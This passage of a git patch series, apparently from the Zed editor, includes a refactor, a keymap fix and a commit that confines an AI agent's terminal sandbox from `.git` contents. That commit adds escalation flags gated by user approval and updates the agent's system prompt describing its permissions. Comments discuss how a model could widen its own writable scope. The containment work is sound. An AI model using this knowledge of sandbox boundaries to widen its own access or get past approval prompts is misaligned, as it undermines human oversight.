index d5d1bf3c985603..e9ed32c610ca1e 100644
--- a/tooling/xtask/src/tasks/workflows/run_bundling.rs
+++ b/tooling/xtask/src/tasks/workflows/run_bundling.rs
@@ -114,7 +114,7 @@ pub(crate) fn build_static_bwrap(arch: Arch, deps: &[&NamedJob]) -> NamedJob {
 
     NamedJob {
         name: format!("build_static_bwrap_linux_{arch}"),
-        job: dependant_job(deps)
+        job: bundle_job(deps)
             .runs_on(arch.linux_bundler())
             .timeout_minutes(60u32)
             .add_step(steps::cache_nix_dependencies_namespace())

From 56816c03333697f25891bb5cba1dcf1e1b981ccc Mon Sep 17 00:00:00 2001
From: Xiaobo Liu <cppcoffee@gmail.com>
Date: Tue, 23 Jun 2026 23:11:27 +0800
Subject: [PATCH 060/772] project_panel: Reduce cloning when rendering entries
 (#56993)

Share marked selections across rendered project panel entries and defer
drag-related path cloning until drag and drop rendering is enabled. Also
defer symlink path string conversion until tooltip creation.

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/project_panel/src/project_panel.rs | 77 +++++++++++++----------
 1 file changed, 44 insertions(+), 33 deletions(-)

diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 9c23e7ff8cf5f9..7b1072849c0176 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -5369,6 +5369,7 @@ impl ProjectPanel {
         &self,
         entry_id: ProjectEntryId,
         details: EntryDetails,
+        marked_selections: Arc<[SelectedEntry]>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Stateful<Div> {
@@ -5405,24 +5406,12 @@ impl ProjectPanel {
         let diagnostic_count = details.diagnostic_count;
         let item_colors = get_item_color(is_sticky, cx);
 
-        let canonical_path = details
-            .canonical_path
-            .as_ref()
-            .map(|f| f.to_string_lossy().into_owned());
+        let canonical_path = details.canonical_path.clone();
         let path_style = self.project.read(cx).path_style(cx);
         let path = details.path.clone();
-        let path_for_external_paths = path.clone();
-        let path_for_dragged_selection = path.clone();
 
         let depth = details.depth;
         let worktree_id = details.worktree_id;
-        let dragged_selection = DraggedSelection {
-            active_selection: SelectedEntry {
-                worktree_id: selection.worktree_id,
-                entry_id: selection.entry_id,
-            },
-            marked_selections: Arc::from(self.marked_entries.clone()),
-        };
 
         let bg_color = if is_marked {
             item_colors.marked
@@ -5530,6 +5519,13 @@ impl ProjectPanel {
                     },
                 )
                 .when(settings.drag_and_drop, |this| {
+                    let path_for_external_paths = path.clone();
+                    let path_for_dragged_selection = path.clone();
+                    let dragged_selection = DraggedSelection {
+                        active_selection: selection,
+                        marked_selections: marked_selections.clone(),
+                    };
+
                     this.on_drag_move::<ExternalPaths>(cx.listener(
                         move |this, event: &DragMoveEvent<ExternalPaths>, _, cx| {
                             let is_current_target =
@@ -5855,7 +5851,7 @@ impl ProjectPanel {
                                     .id("symlink_icon")
                                     .tooltip(move |_window, cx| {
                                         Tooltip::with_meta(
-                                            path.to_string(),
+                                            path.to_string_lossy().into_owned(),
                                             None,
                                             "Symbolic Link",
                                             cx,
@@ -6567,6 +6563,7 @@ impl ProjectPanel {
 
         // already checked if non empty above
         let last_item_index = sticky_parents.len() - 1;
+        let marked_selections: Arc<[SelectedEntry]> = Arc::from(self.marked_entries.clone());
         sticky_parents
             .iter()
             .enumerate()
@@ -6588,24 +6585,30 @@ impl ProjectPanel {
                     window,
                     cx,
                 );
-                self.render_entry(entry.id, details, window, cx)
-                    .when(index == last_item_index, |this| {
-                        let shadow_color_top = hsla(0.0, 0.0, 0.0, 0.1);
-                        let shadow_color_bottom = hsla(0.0, 0.0, 0.0, 0.);
-                        let sticky_shadow = div()
-                            .absolute()
-                            .left_0()
-                            .bottom_neg_1p5()
-                            .h_1p5()
-                            .w_full()
-                            .bg(linear_gradient(
-                                0.,
-                                linear_color_stop(shadow_color_top, 1.),
-                                linear_color_stop(shadow_color_bottom, 0.),
-                            ));
-                        this.child(sticky_shadow)
-                    })
-                    .into_any()
+                self.render_entry(
+                    entry.id,
+                    details,
+                    Arc::clone(&marked_selections),
+                    window,
+                    cx,
+                )
+                .when(index == last_item_index, |this| {
+                    let shadow_color_top = hsla(0.0, 0.0, 0.0, 0.1);
+                    let shadow_color_bottom = hsla(0.0, 0.0, 0.0, 0.);
+                    let sticky_shadow = div()
+                        .absolute()
+                        .left_0()
+                        .bottom_neg_1p5()
+                        .h_1p5()
+                        .w_full()
+                        .bg(linear_gradient(
+                            0.,
+                            linear_color_stop(shadow_color_top, 1.),
+                            linear_color_stop(shadow_color_bottom, 0.),
+                        ));
+                    this.child(sticky_shadow)
+                })
+                .into_any()
             })
             .collect()
     }
@@ -6815,12 +6818,20 @@ impl Render for ProjectPanel {
                                 cx.processor(|this, range: Range<usize>, window, cx| {
                                     this.rendered_entries_len = range.end - range.start;
                                     let mut items = Vec::with_capacity(this.rendered_entries_len);
+                                    let marked_selections: Arc<[SelectedEntry]> =
+                                        Arc::from(this.marked_entries.clone());
                                     this.for_each_visible_entry(
                                         range,
                                         window,
                                         cx,
                                         &mut |id, details, window, cx| {
-                                            items.push(this.render_entry(id, details, window, cx));
+                                            items.push(this.render_entry(
+                                                id,
+                                                details,
+                                                Arc::clone(&marked_selections),
+                                                window,
+                                                cx,
+                                            ));
                                         },
                                     );
                                     items

From 0d3badc8575aa46685b4423af2bb5fa009bda1a2 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 23 Jun 2026 12:18:56 -0300
Subject: [PATCH 061/772] agent_ui: Fix opening the profile configuration modal
 from picker (#59768)

Release Notes:

- Agent: Fixed a bug where trying to open the profile configuration
modal through the picker in the agent panel's message editor wouldn't
work through the keybinding.
---
 assets/keymaps/specific-overrides-macos.json |  6 ++++++
 assets/keymaps/specific-overrides.json       |  5 +++++
 crates/picker/src/render.rs                  | 11 +++++++++--
 3 files changed, 20 insertions(+), 2 deletions(-)

diff --git a/assets/keymaps/specific-overrides-macos.json b/assets/keymaps/specific-overrides-macos.json
index 151bebeec01562..3fd1d6c87f85be 100644
--- a/assets/keymaps/specific-overrides-macos.json
+++ b/assets/keymaps/specific-overrides-macos.json
@@ -11,6 +11,12 @@
     "use_key_equivalents": true,
     "bindings": {
       "cmd-shift-a": "picker::ToggleActionsMenu",
+    },
+  },
+  {
+    "context": "(Picker && with_preview) > Editor",
+    "use_key_equivalents": true,
+    "bindings": {
       "cmd-alt-p": "picker::TogglePreview",
       "cmd-alt-right": "picker::SetPreviewRight",
       "cmd-alt-down": "picker::SetPreviewBelow",
diff --git a/assets/keymaps/specific-overrides.json b/assets/keymaps/specific-overrides.json
index 283d930b86e4ec..663153a84357d9 100644
--- a/assets/keymaps/specific-overrides.json
+++ b/assets/keymaps/specific-overrides.json
@@ -10,6 +10,11 @@
     "context": "Picker > Editor",
     "bindings": {
       "ctrl-shift-a": "picker::ToggleActionsMenu",
+    },
+  },
+  {
+    "context": "(Picker && with_preview) > Editor",
+    "bindings": {
       "ctrl-alt-p": "picker::TogglePreview",
       "ctrl-alt-right": "picker::SetPreviewRight",
       "ctrl-alt-down": "picker::SetPreviewBelow",
diff --git a/crates/picker/src/render.rs b/crates/picker/src/render.rs
index 82cdc4ad474ada..4ff7c425622548 100644
--- a/crates/picker/src/render.rs
+++ b/crates/picker/src/render.rs
@@ -1,4 +1,4 @@
-use gpui::canvas;
+use gpui::{KeyContext, canvas};
 use settings::Settings;
 use theme_settings::ThemeSettings;
 use ui::{
@@ -89,8 +89,15 @@ impl<D: PickerDelegate> Picker<D> {
 
         let editor_position = self.delegate.editor_position();
         let picker_bounds = self.picker_bounds.clone();
+
+        let mut key_context = KeyContext::default();
+        key_context.add("Picker");
+        if self.preview.is_some() {
+            key_context.add("with_preview");
+        }
+
         let menu = v_flex()
-            .key_context("Picker")
+            .key_context(key_context)
             .relative()
             .map(|this| {
                 self.shape.apply_results_size(

From eea5f57dc5a4638fc54eaa6e29b73662d64c0d94 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Tue, 23 Jun 2026 11:20:21 -0400
Subject: [PATCH 062/772] Allow sandboxed Git writes from worktrees (#57981)

Agent terminal sandboxing now protects `.git` metadata by default and
exposes an explicit `allow_git_access` approval. Without it, file
contents of the `.git` directories for opened worktrees and discovered
repositories (including a linked worktree's common `.git`) cannot be
read or written, though their metadata stays visible; when approved,
those Git directories become writable so commands like fetch/commit
work. SSH commit signing keeps working because the inherited
`SSH_AUTH_SOCK` is allowed as local Unix-socket IPC, which does not let
sandboxed commands send network packets to other machines. The Seatbelt
profile also allows PTY terminal-control ioctls so signing/passphrase
prompts can manage terminal state.

This intentionally restricts only `.git` itself (whose location we know
exactly, including the worktree case) rather than
`.gitignore`/`.gitattributes`/`.gitmodules`, since those can be nested
arbitrarily and the goal is to keep the policy expressible as a plain
deny-by-default allowlist that will port to Linux and Windows sandboxes
later.

Closes AI-334

Release Notes:

- Improved agent terminal sandboxing for Git metadata, Git worktrees,
and SSH commit signing.
---
 Cargo.lock                                    |   1 +
 crates/acp_thread/Cargo.toml                  |   1 +
 crates/acp_thread/src/acp_thread.rs           |  84 ++++
 crates/acp_thread/src/terminal.rs             |  86 +++-
 crates/agent/src/sandboxing.rs                |  42 ++
 crates/agent/src/templates.rs                 |   7 +
 crates/agent/src/templates/system_prompt.hbs  |   7 +-
 crates/agent/src/thread.rs                    |   6 +
 crates/agent/src/tools/terminal_tool.rs       | 194 ++++++++-
 crates/agent_settings/src/agent_settings.rs   |   5 +
 .../src/conversation_view/thread_view.rs      |  32 ++
 crates/sandbox/src/bwrap_test_helper.rs       |   2 +
 crates/sandbox/src/linux_bubblewrap.rs        | 309 +++++++++++++--
 crates/sandbox/src/macos_seatbelt.rs          | 373 +++++++++++++++++-
 crates/sandbox/src/sandbox.rs                 |  56 +++
 crates/settings_content/src/agent.rs          |  13 +
 .../settings_ui/src/pages/sandbox_settings.rs |  27 ++
 17 files changed, 1168 insertions(+), 77 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 539dfa0857c5f7..56940017e2c810 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -127,6 +127,7 @@ dependencies = [
  "settings",
  "task",
  "telemetry",
+ "tempfile",
  "terminal",
  "text",
  "ui",
diff --git a/crates/acp_thread/Cargo.toml b/crates/acp_thread/Cargo.toml
index ebdd6aa9795b61..d92fd6b1fec20c 100644
--- a/crates/acp_thread/Cargo.toml
+++ b/crates/acp_thread/Cargo.toml
@@ -61,5 +61,6 @@ indoc.workspace = true
 parking_lot.workspace = true
 project = { workspace = true, "features" = ["test-support"] }
 rand.workspace = true
+tempfile.workspace = true
 util.workspace = true
 settings.workspace = true
diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 0bf2f0e49fba47..e11e9cbe590636 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -60,6 +60,45 @@ impl std::fmt::Display for MaxOutputTokensError {
 
 impl std::error::Error for MaxOutputTokensError {}
 
+/// Resolve the socket path(s) the sandbox may allow for the inherited
+/// `SSH_AUTH_SOCK`. The value is validated against the resolved directory
+/// environment the child command will actually run with, not Zed's own process
+/// environment, since the two can differ (direnv, a login shell, etc.).
+///
+/// Returns both the path as the child will pass it to `connect()` and its
+/// canonical form, because the two diverge when `SSH_AUTH_SOCK` points through
+/// a symlink (e.g. `/tmp` -> `/private/tmp` on macOS) and it isn't guaranteed
+/// which form Seatbelt matches the `remote unix-socket` literal against.
+#[cfg(unix)]
+fn trusted_ssh_auth_socket_paths(path: impl Into<PathBuf>) -> Vec<PathBuf> {
+    let path = path.into();
+    if !path.is_absolute() {
+        return Vec::new();
+    }
+
+    let Ok(canonical) = path.canonicalize() else {
+        return Vec::new();
+    };
+    let Ok(metadata) = std::fs::metadata(&canonical) else {
+        return Vec::new();
+    };
+    use std::os::unix::fs::FileTypeExt as _;
+    if !metadata.file_type().is_socket() {
+        return Vec::new();
+    }
+
+    if canonical == path {
+        vec![canonical]
+    } else {
+        vec![path, canonical]
+    }
+}
+
+#[cfg(not(unix))]
+fn trusted_ssh_auth_socket_paths(_path: impl Into<PathBuf>) -> Vec<PathBuf> {
+    Vec::new()
+}
+
 /// Key used in ACP ToolCall meta to store the tool's programmatic name.
 /// This is a workaround since ACP's ToolCall doesn't have a dedicated name field.
 pub const TOOL_NAME_META_KEY: &str = "tool_name";
@@ -176,6 +215,8 @@ pub struct SandboxAuthorizationDetails {
     #[serde(default, alias = "network")]
     pub network_all_hosts: bool,
     #[serde(default)]
+    pub allow_git_access: bool,
+    #[serde(default)]
     pub allow_fs_write_all: bool,
     #[serde(default)]
     pub unsandboxed: bool,
@@ -3489,6 +3530,21 @@ impl AcpThread {
             let terminal_id = terminal_id.clone();
             async move |_this, cx| {
                 let mut env = env.await;
+                let mut sandbox_wrap = sandbox_wrap;
+                // Only expose the inherited SSH agent socket once Git access has
+                // been approved. The workflow that needs it (commit signing)
+                // already requires writing to `.git`, so gating it here keeps the
+                // agent socket out of reach of ordinary sandboxed commands.
+                // Validate the value the child will actually connect to, taken
+                // from its resolved environment rather than Zed's own.
+                if let Some(sandbox_wrap) = &mut sandbox_wrap
+                    && sandbox_wrap.allow_git_access
+                    && let Some(ssh_auth_socket) = env.get("SSH_AUTH_SOCK")
+                {
+                    sandbox_wrap
+                        .allowed_unix_socket_paths
+                        .extend(trusted_ssh_auth_socket_paths(ssh_auth_socket.clone()));
+                }
                 let shell = project
                     .update(cx, |project, cx| {
                         project
@@ -3898,6 +3954,34 @@ mod tests {
         });
     }
 
+    #[cfg(unix)]
+    #[test]
+    fn test_trusted_ssh_auth_socket_path_requires_socket() {
+        use std::os::unix::net::UnixListener;
+
+        // Bind under `/tmp`: the default temp dir on macOS (`/var/folders/...`)
+        // overflows the `sun_path` limit for Unix sockets. `TempDir` still
+        // cleans up on drop, even if the test panics.
+        let temp_dir = tempfile::Builder::new()
+            .prefix("zed-sock-")
+            .tempdir_in("/tmp")
+            .expect("temporary socket directory should be created");
+        let socket_path = temp_dir.path().join("agent.sock");
+        let listener = UnixListener::bind(&socket_path).expect("test socket should bind");
+
+        // A real socket resolves to (at least) its canonical path.
+        let canonical = socket_path
+            .canonicalize()
+            .expect("socket path should canonicalize");
+        assert!(trusted_ssh_auth_socket_paths(socket_path).contains(&canonical));
+
+        // A directory is not a socket, and a relative path is rejected outright.
+        assert!(trusted_ssh_auth_socket_paths(temp_dir.path().to_path_buf()).is_empty());
+        assert!(trusted_ssh_auth_socket_paths("relative.sock").is_empty());
+
+        drop(listener);
+    }
+
     #[test]
     fn sandbox_authorization_details_deserialize_legacy_network_bool() {
         // Older builds persisted `network: bool`; the `alias` on
diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs
index d3e6a7bbfe43b1..975d360e1a8b68 100644
--- a/crates/acp_thread/src/terminal.rs
+++ b/crates/acp_thread/src/terminal.rs
@@ -35,9 +35,10 @@ use util::get_default_system_shell_preferring_bash;
 #[derive(Clone, Debug, Default)]
 pub struct SandboxWrap {
     /// Directory subtrees the sandbox should allow writes to. Pass the
-    /// project's worktree paths (and any per-command scratch directory)
-    /// here — *not* the command's working directory, which is model-
-    /// controlled and would let the model widen its own writable scope.
+    /// project's worktree paths, Git metadata directories only when Git access
+    /// has been approved, and any per-command scratch directory here — *not*
+    /// the command's working directory, which is model-controlled and would
+    /// let the model widen its own writable scope.
     pub writable_paths: Vec<PathBuf>,
     /// Additional write subtrees the user explicitly approved for this
     /// command (per-path write grants). Kept separate from `writable_paths`
@@ -45,6 +46,17 @@ pub struct SandboxWrap {
     /// model-requested paths that passed a user-approval prompt. They are
     /// merged with `writable_paths` when generating the sandbox policy.
     pub extra_write_paths: Vec<PathBuf>,
+    /// Paths whose file data reads and writes should be blocked even when they
+    /// are inside a writable project directory. Metadata reads remain allowed.
+    pub protected_paths: Vec<PathBuf>,
+    /// Unix domain sockets the sandbox should allow local IPC to. These come
+    /// from trusted process environment, not from the model-controlled command.
+    /// This does not permit IP networking or sending packets to other machines.
+    pub allowed_unix_socket_paths: Vec<PathBuf>,
+    /// Whether the user approved Git metadata access for this command. When set,
+    /// `.git` directories are writable (they are absent from `protected_paths`)
+    /// and the inherited SSH agent socket may be exposed for commit signing.
+    pub allow_git_access: bool,
     /// Outbound network access explicitly approved for this command.
     pub network: SandboxNetworkAccess,
     /// Allow unrestricted filesystem writes (ignores all writable paths).
@@ -143,21 +155,37 @@ impl SandboxWrap {
                 .chain(self.extra_write_paths.iter())
                 .map(|path| path.as_path())
                 .collect();
+            let protected: Vec<&std::path::Path> = self
+                .protected_paths
+                .iter()
+                .map(|path| path.as_path())
+                .collect();
+            let allowed_unix_sockets: Vec<&std::path::Path> = self
+                .allowed_unix_socket_paths
+                .iter()
+                .map(|path| path.as_path())
+                .collect();
             let allow_network = !matches!(self.network, SandboxNetworkAccess::None);
             let permissions = sandbox::SandboxPermissions {
                 allow_network,
                 allow_fs_write: self.allow_fs_write,
             };
-            sandbox::linux_bubblewrap::check_can_create_sandbox(&writable, permissions, cwd)
-                .map_err(|status| match status {
-                    LauncherStatus::BwrapNotFound => LinuxWslSandboxError::BwrapNotFound,
-                    LauncherStatus::SetuidRejected => LinuxWslSandboxError::SetuidRejected,
-                    LauncherStatus::SandboxProbeFailed => LinuxWslSandboxError::SandboxProbeFailed,
-                    // `Success` never appears in the `Err` arm; map defensively.
-                    LauncherStatus::Success => {
-                        LinuxWslSandboxError::Other(status.describe().to_string())
-                    }
-                })
+            sandbox::linux_bubblewrap::check_can_create_sandbox(
+                &writable,
+                &protected,
+                &allowed_unix_sockets,
+                permissions,
+                cwd,
+            )
+            .map_err(|status| match status {
+                LauncherStatus::BwrapNotFound => LinuxWslSandboxError::BwrapNotFound,
+                LauncherStatus::SetuidRejected => LinuxWslSandboxError::SetuidRejected,
+                LauncherStatus::SandboxProbeFailed => LinuxWslSandboxError::SandboxProbeFailed,
+                // `Success` never appears in the `Err` arm; map defensively.
+                LauncherStatus::Success => {
+                    LinuxWslSandboxError::Other(status.describe().to_string())
+                }
+            })
         }
         #[cfg(not(target_os = "linux"))]
         {
@@ -252,6 +280,16 @@ pub(crate) fn apply_sandbox_wrap(
             .chain(sandbox_wrap.extra_write_paths.iter())
             .map(|p| p.as_path())
             .collect();
+        let protected: Vec<&std::path::Path> = sandbox_wrap
+            .protected_paths
+            .iter()
+            .map(|path| path.as_path())
+            .collect();
+        let allowed_unix_sockets: Vec<&std::path::Path> = sandbox_wrap
+            .allowed_unix_socket_paths
+            .iter()
+            .map(|path| path.as_path())
+            .collect();
         let network = match network_policy {
             NetworkPolicy::Proxied(port) => NetworkAccess::LocalhostPort(port),
             NetworkPolicy::Unrestricted => NetworkAccess::All,
@@ -261,8 +299,14 @@ pub(crate) fn apply_sandbox_wrap(
             network,
             allow_fs_write: sandbox_wrap.allow_fs_write,
         };
-        let (new_program, new_args, config_file) =
-            sandbox::macos_seatbelt::wrap_invocation(&program, &args, &writable, permissions)?;
+        let (new_program, new_args, config_file) = sandbox::macos_seatbelt::wrap_invocation(
+            &program,
+            &args,
+            &writable,
+            &protected,
+            &allowed_unix_sockets,
+            permissions,
+        )?;
         Ok((
             new_program,
             new_args,
@@ -280,6 +324,16 @@ pub(crate) fn apply_sandbox_wrap(
             .chain(sandbox_wrap.extra_write_paths.iter())
             .map(|p| p.as_path())
             .collect();
+        let protected: Vec<&std::path::Path> = sandbox_wrap
+            .protected_paths
+            .iter()
+            .map(|p| p.as_path())
+            .collect();
+        let allowed_unix_sockets: Vec<&std::path::Path> = sandbox_wrap
+            .allowed_unix_socket_paths
+            .iter()
+            .map(|p| p.as_path())
+            .collect();
         let allow_network = match network_policy {
             NetworkPolicy::Denied => false,
             NetworkPolicy::Unrestricted => true,
@@ -318,6 +372,8 @@ pub(crate) fn apply_sandbox_wrap(
             Some(channel.name()),
             permissions,
             &writable,
+            &protected,
+            &allowed_unix_sockets,
             cwd,
             &program,
             &args,
diff --git a/crates/agent/src/sandboxing.rs b/crates/agent/src/sandboxing.rs
index 2ea5dcf3e70f88..fe6d37a4c28dcc 100644
--- a/crates/agent/src/sandboxing.rs
+++ b/crates/agent/src/sandboxing.rs
@@ -107,6 +107,8 @@ impl NetworkRequest {
 pub(crate) struct SandboxRequest {
     /// Outbound network access requested for this command.
     pub network: NetworkRequest,
+    /// Allow access to protected Git metadata paths.
+    pub allow_git_access: bool,
     /// Allow unrestricted filesystem writes (the broad escape hatch).
     pub allow_fs_write_all: bool,
     /// Run the command fully outside the sandbox.
@@ -121,6 +123,7 @@ impl SandboxRequest {
     /// scope, and therefore needs user approval.
     pub fn needs_escalation(&self) -> bool {
         self.network.is_requested()
+            || self.allow_git_access
             || self.allow_fs_write_all
             || self.unsandboxed
             || !self.write_paths.is_empty()
@@ -141,6 +144,7 @@ pub(crate) struct ThreadSandboxGrants {
     /// Host patterns granted network access for the thread. Each covers its
     /// whole subdomain space; redundant entries are pruned on insert.
     network_hosts: Vec<HostPattern>,
+    allow_git_access: bool,
     allow_fs_write_all: bool,
     unsandboxed: bool,
     /// Whether the user approved running commands *without* a sandbox for the
@@ -181,6 +185,9 @@ impl ThreadSandboxGrants {
         if !self.network_covered(&request.network, persistent) {
             return false;
         }
+        if request.allow_git_access && !(self.allow_git_access || persistent.allow_git_access) {
+            return false;
+        }
         if request.allow_fs_write_all && !(self.allow_fs_write_all || persistent.allow_fs_write_all)
         {
             return false;
@@ -250,6 +257,7 @@ impl ThreadSandboxGrants {
                 }
             }
         }
+        self.allow_git_access |= request.allow_git_access;
         self.allow_fs_write_all |= request.allow_fs_write_all;
         self.unsandboxed |= request.unsandboxed;
         for path in &request.write_paths {
@@ -301,6 +309,9 @@ impl ThreadSandboxGrants {
         }
         SandboxRequest {
             network,
+            allow_git_access: persistent.allow_git_access
+                || self.allow_git_access
+                || request.allow_git_access,
             allow_fs_write_all: persistent.allow_fs_write_all
                 || self.allow_fs_write_all
                 || request.allow_fs_write_all,
@@ -354,6 +365,7 @@ mod tests {
     fn request(network: NetworkRequest, all: bool, paths: &[&str]) -> SandboxRequest {
         SandboxRequest {
             network,
+            allow_git_access: false,
             allow_fs_write_all: all,
             unsandboxed: false,
             write_paths: paths.iter().map(PathBuf::from).collect(),
@@ -363,6 +375,7 @@ mod tests {
     fn unsandboxed_request() -> SandboxRequest {
         SandboxRequest {
             network: NetworkRequest::None,
+            allow_git_access: false,
             allow_fs_write_all: false,
             unsandboxed: true,
             write_paths: Vec::new(),
@@ -537,6 +550,33 @@ mod tests {
         assert!(!covers(&grants, &request(NetworkRequest::None, true, &[])));
     }
 
+    #[test]
+    fn git_access_grant_tracked_independently() {
+        let mut git_request = request(NetworkRequest::None, false, &[]);
+        git_request.allow_git_access = true;
+
+        let mut grants = ThreadSandboxGrants::default();
+        assert!(!covers(&grants, &git_request));
+
+        grants.record(&git_request);
+        assert!(covers(&grants, &git_request));
+        assert!(!covers(
+            &grants,
+            &request(NetworkRequest::AnyHost, false, &[])
+        ));
+        assert!(!covers(&grants, &request(NetworkRequest::None, true, &[])));
+    }
+
+    #[test]
+    fn unrestricted_writes_do_not_cover_git_access() {
+        let mut grants = ThreadSandboxGrants::default();
+        grants.record(&request(NetworkRequest::None, true, &[]));
+
+        let mut git_request = request(NetworkRequest::None, false, &[]);
+        git_request.allow_git_access = true;
+        assert!(!covers(&grants, &git_request));
+    }
+
     #[test]
     fn persistent_grants_combine_with_thread_grants() {
         let mut grants = ThreadSandboxGrants::default();
@@ -669,6 +709,7 @@ mod tests {
         let grants = ThreadSandboxGrants::default();
         let persistent = SandboxPermissions {
             allow_all_hosts: true,
+            allow_git_access: true,
             write_paths: vec![PathBuf::from("/tmp/always")],
             ..Default::default()
         };
@@ -676,6 +717,7 @@ mod tests {
         let effective = grants
             .effective_with_persistent(&request(NetworkRequest::None, false, &[]), &persistent);
         assert_eq!(effective.network, NetworkRequest::AnyHost);
+        assert!(effective.allow_git_access);
         assert_eq!(effective.write_paths, vec![PathBuf::from("/tmp/always")]);
     }
 
diff --git a/crates/agent/src/templates.rs b/crates/agent/src/templates.rs
index a88c5171d7a5d1..6ab4cdd3f1cc74 100644
--- a/crates/agent/src/templates.rs
+++ b/crates/agent/src/templates.rs
@@ -209,8 +209,15 @@ mod tests {
         assert!(rendered.contains("allow_hosts"));
         assert!(rendered.contains("allow_all_hosts: true"));
         assert!(rendered.contains("fs_write_paths"));
+        assert!(rendered.contains("allow_git_access: true"));
         assert!(rendered.contains("allow_fs_write_all: true"));
         assert!(rendered.contains("unsandboxed: true"));
+        assert!(rendered.contains("file contents under `.git` directories"));
+        assert!(
+            rendered.contains("worktree metadata that may live outside the project directories")
+        );
+        assert!(rendered.contains("inherited SSH agent socket"));
+        assert!(rendered.contains("does not allow packet-sending network access"));
         assert!(rendered.contains("for the rest of the thread"));
     }
 
diff --git a/crates/agent/src/templates/system_prompt.hbs b/crates/agent/src/templates/system_prompt.hbs
index 30a22792e5aa6e..025fe464241fd5 100644
--- a/crates/agent/src/templates/system_prompt.hbs
+++ b/crates/agent/src/templates/system_prompt.hbs
@@ -158,13 +158,13 @@ The current project contains the following root directories:
 
 The `terminal` tool runs commands inside a sandbox with these permissions:
 
-- Reads: any path on the filesystem is readable.
+- Reads: any path on the filesystem is readable, except that file contents under `.git` directories are blocked by default (their metadata stays visible). See `allow_git_access` below.
 {{#if is_linux}}
 - Writes: `/tmp` is writable but is cleared between `terminal` calls{{#if worktrees}}. These project directories are also writable and persist across calls:
 {{#each worktrees}}
   - `{{abs_path}}`
 {{/each}}
-  Writes anywhere else on the filesystem are blocked.{{else}}. No project directories are currently writable.{{/if}}
+  `.git` directories are not writable by default. Writes anywhere else on the filesystem are blocked.{{else}}. No project directories are currently writable.{{/if}}
 {{else}}
 {{#if is_windows}}
 - Execution: commands run inside WSL under Bubblewrap. Native Windows project paths are routed through WSL's `/mnt/<drive>/...` filesystem view.
@@ -178,7 +178,7 @@ The `terminal` tool runs commands inside a sandbox with these permissions:
 {{#each worktrees}}
   - `{{abs_path}}`
 {{/each}}
-  Writes anywhere else on the filesystem are blocked.{{else}}. No project directories are currently writable.{{/if}}
+  `.git` directories are not writable by default. Writes anywhere else on the filesystem are blocked.{{else}}. No project directories are currently writable.{{/if}}
 {{/if}}
 {{/if}}
 - Network: outbound network access is blocked.
@@ -208,6 +208,7 @@ You can request elevated permissions on individual `terminal` calls:
 {{/if}}
 {{/if}}
 - `fs_write_paths: ["/abs/or/worktree-relative/path", ...]` — allow writes to specific paths (each directory grants its whole subtree). Prefer this whenever you know which paths the command needs to write.
+- `allow_git_access: true` — lift the default block on Git metadata, allowing reads and writes of file contents under `.git` directories (including worktree metadata that may live outside the project directories). Any command that touches `.git` needs this, including ones that invoke Git only incidentally (e.g. build scripts calling `git describe`/`git rev-parse`, or commit hooks). When approved, the inherited SSH agent socket also becomes reachable for SSH-based Git commit signing (local Unix-socket IPC only — it does not allow packet-sending network access); GPG commit signing via gpg-agent is not available in the sandbox.
 - `allow_fs_write_all: true` — allow unrestricted filesystem writes. Only use this when the specific paths can't be enumerated up front.
 - `unsandboxed: true` — run the command with no sandbox at all. Use only when none of the above suffice.
 
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index f0045aa479c114..9e4adfc39bb0f6 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -5371,6 +5371,7 @@ impl ToolCallEventStream {
             command,
             network_hosts,
             network_all_hosts,
+            allow_git_access: request.allow_git_access,
             allow_fs_write_all: request.allow_fs_write_all,
             unsandboxed: request.unsandboxed,
             write_paths: request.write_paths.clone(),
@@ -5564,6 +5565,9 @@ impl ToolCallEventStream {
                         agent.set_sandbox_network_hosts(host_strings);
                     }
                 }
+                if request.allow_git_access {
+                    agent.allow_sandbox_git_access();
+                }
                 if request.allow_fs_write_all {
                     agent.allow_sandbox_fs_write_all();
                 }
@@ -7179,6 +7183,7 @@ mod tests {
         let (event_stream, mut receiver) = ToolCallEventStream::test();
         let request = SandboxRequest {
             network: crate::sandboxing::NetworkRequest::None,
+            allow_git_access: false,
             allow_fs_write_all: false,
             unsandboxed: false,
             write_paths: vec![
@@ -7204,6 +7209,7 @@ mod tests {
                 .expect("sandbox authorization should include request details");
         assert!(details.network_hosts.is_empty());
         assert!(!details.network_all_hosts);
+        assert_eq!(details.allow_git_access, request.allow_git_access);
         assert_eq!(details.allow_fs_write_all, request.allow_fs_write_all);
         assert_eq!(details.unsandboxed, request.unsandboxed);
         assert_eq!(details.write_paths, request.write_paths);
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index 5590a524824401..9974642d5e6bfa 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -161,13 +161,21 @@ pub struct SandboxedTerminalToolInput {
     /// set of paths is known. Requesting it triggers a user approval prompt.
     #[serde(default, alias = "allow_fs_write")]
     pub allow_fs_write_all: Option<bool>,
+    /// Set to `true` when the command needs Git metadata access.
+    ///
+    /// Sandboxed commands cannot read file contents from, or write to, protected
+    /// `.git` paths for opened worktrees and discovered repositories by default.
+    /// Set this for Git operations that need those paths. Requesting it
+    /// triggers a user approval prompt.
+    #[serde(default)]
+    pub allow_git_access: Option<bool>,
     /// Set to `true` only as a last resort, to run the command fully outside
     /// the sandbox.
     ///
     /// First try the narrower options (`allow_hosts`, `fs_write_paths`,
-    /// `allow_fs_write_all`); use this only when the command needs behavior
-    /// the sandbox can't grant on a per-permission basis. Requesting it
-    /// triggers a user approval prompt.
